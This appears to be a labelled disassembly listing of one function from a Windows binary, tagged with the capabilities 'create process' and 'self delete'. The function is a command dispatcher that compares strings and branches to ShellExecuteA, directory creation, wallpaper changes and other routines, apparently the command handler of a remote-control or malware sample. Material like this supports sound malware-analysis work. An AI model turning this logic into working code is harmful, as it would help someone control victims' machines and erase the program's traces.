Function at 0x3000a02c
Capabilities:
Create process on windows
Self delete

Disassembly:
push ebp
mov ebp, esp
mov ecx, 8
push 0
push 0
dec ecx
jne 0x3000a034
push ebx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
call fcn.3000217c
xor eax, eax
push ebp
push 0x3000a2e1
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
push eax
mov ecx, 1
mov edx, 0x3000a2f8
mov eax, dword [ebp - 8]
call fcn.300071dc
mov eax, dword [ebp - 0xc]
call fcn.30001f94
mov ecx, eax
inc ecx
lea eax, [ebp - 8]
mov edx, 1
call fcn.30002228
mov eax, dword [ebp - 0xc]
mov edx, 0x3000a304
call fcn.300020d8
jne 0x3000a0bf
push ebp
push dword [ebp - 0xc]
push 0x3000a2f8
lea eax, [ebp - 0x14]
call fcn.300099dc
push dword [ebp - 0x14]
lea eax, [ebp - 0x10]
mov edx, 3
call fcn.30002054
mov eax, dword [ebp - 0x10]
call fcn.30009fa8
pop ecx
mov eax, dword [ebp - 0xc]
mov edx, 0x3000a318
call fcn.300020d8
jne 0x3000a12b
push ebp
lea edx, [ebp - 0x1c]
mov eax, dword [ebp - 8]
call fcn.30009674
mov ecx, dword [ebp - 0x1c]
lea eax, [ebp - 0x18]
mov edx, 0x3000a32c
call fcn.30001fe0
mov eax, dword [ebp - 0x18]
call fcn.30009fa8
pop ecx
push ebp
push dword [ebp - 0xc]
push 0x3000a2f8
lea edx, [ebp - 0x28]
mov eax, dword [ebp - 8]
call fcn.30009674
mov eax, dword [ebp - 0x28]
lea edx, [ebp - 0x24]
call fcn.30009be4
push dword [ebp - 0x24]
lea eax, [ebp - 0x20]
mov edx, 3
call fcn.30002054
mov eax, dword [ebp - 0x20]
call fcn.30009fa8
pop ecx
mov eax, dword [ebp - 0xc]
mov edx, 0x3000a33c
call fcn.300020d8
jne 0x3000a15b
push 1
push 0x3000a344
push 0x3000a344
mov eax, dword [ebp - 8]
call fcn.3000218c
push eax
push 0x3000a348
push 0
call sub.shell32.dll_ShellExecuteA
mov eax, dword [ebp - 0xc]
mov edx, 0x3000a358
call fcn.300020d8
jne 0x3000a1a6
lea eax, [ebp - 0x30]
push eax
mov ecx, 2
mov edx, 0x3000a2f8
mov eax, dword [ebp - 8]
call fcn.300071dc
mov eax, dword [ebp - 0x30]
push eax
lea eax, [ebp - 0x34]
push eax
mov ecx, 1
mov edx, 0x3000a2f8
mov eax, dword [ebp - 8]
call fcn.300071dc
mov eax, dword [ebp - 0x34]
lea ecx, [ebp - 0x2c]
pop edx
call fcn.30009cec
mov eax, dword [ebp - 0xc]
mov edx, 0x3000a368
call fcn.300020d8
jne 0x3000a1c3
mov eax, dword [ebp - 8]
call fcn.3000218c
push eax
call sub.IMAGEHLP.DLL_MakeSureDirectoryPathExists
mov eax, dword [ebp - 0xc]
mov edx, 0x3000a378
call fcn.300020d8
jne 0x3000a1dd
lea edx, [ebp - 0x38]
mov eax, dword [ebp - 8]
call fcn.30009da0
mov eax, dword [ebp - 0xc]
mov edx, 0x3000a388
call fcn.300020d8
jne 0x3000a1f7
lea edx, [ebp - 0x3c]
mov eax, dword [ebp - 8]
call fcn.30009e38
mov eax, dword [ebp - 0xc]
mov edx, 0x3000a398
call fcn.300020d8
jne 0x3000a21a
push 2
mov eax, dword [ebp - 8]
call fcn.3000218c
push eax
push 0
push 0x14
call sub.user32.dll_SystemParametersInfoA
mov eax, dword [ebp - 0xc]
mov edx, 0x3000a3b0
call fcn.300020d8
jne 0x3000a234
or edx, 0xffffffff
mov eax, dword [ebp - 8]
call fcn.30009ed0
mov eax, dword [ebp - 0xc]
mov edx, 0x3000a3c4
call fcn.300020d8
jne 0x3000a24d
xor edx, edx
mov eax, dword [ebp - 8]
call fcn.30009ed0
mov eax, dword [ebp - 0xc]
mov edx, 0x3000a3d8
call fcn.300020d8
jne 0x3000a2c6
mov dl, 1
mov eax, dword [0x30004bb0]
call fcn.300015cc
mov ebx, eax
mov edx, dword [ebp - 8]
mov eax, ebx
call fcn.30005298
mov eax, ebx
call fcn.30004e0c
cmp edx, 0
jne 0x3000a287
cmp eax, 0
jbe 0x3000a29d
jmp 0x3000a289
jle 0x3000a29d
mov eax, ebx
call fcn.30004e0c
mov ecx, eax
lea eax, [ebp - 8]
mov edx, dword [ebx + 4]
call fcn.30001edc
mov eax, ebx
call fcn.300015fc
push ebp
push dword [ebp - 0xc]
push 0x3000a2f8
push dword [ebp - 8]
lea eax, [ebp - 0x40]
mov edx, 3
call fcn.30002054
mov eax, dword [ebp - 0x40]
call fcn.30009fa8
pop ecx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x3000a2e8
lea eax, [ebp - 0x40]
mov edx, 0xf
call fcn.30001e14
ret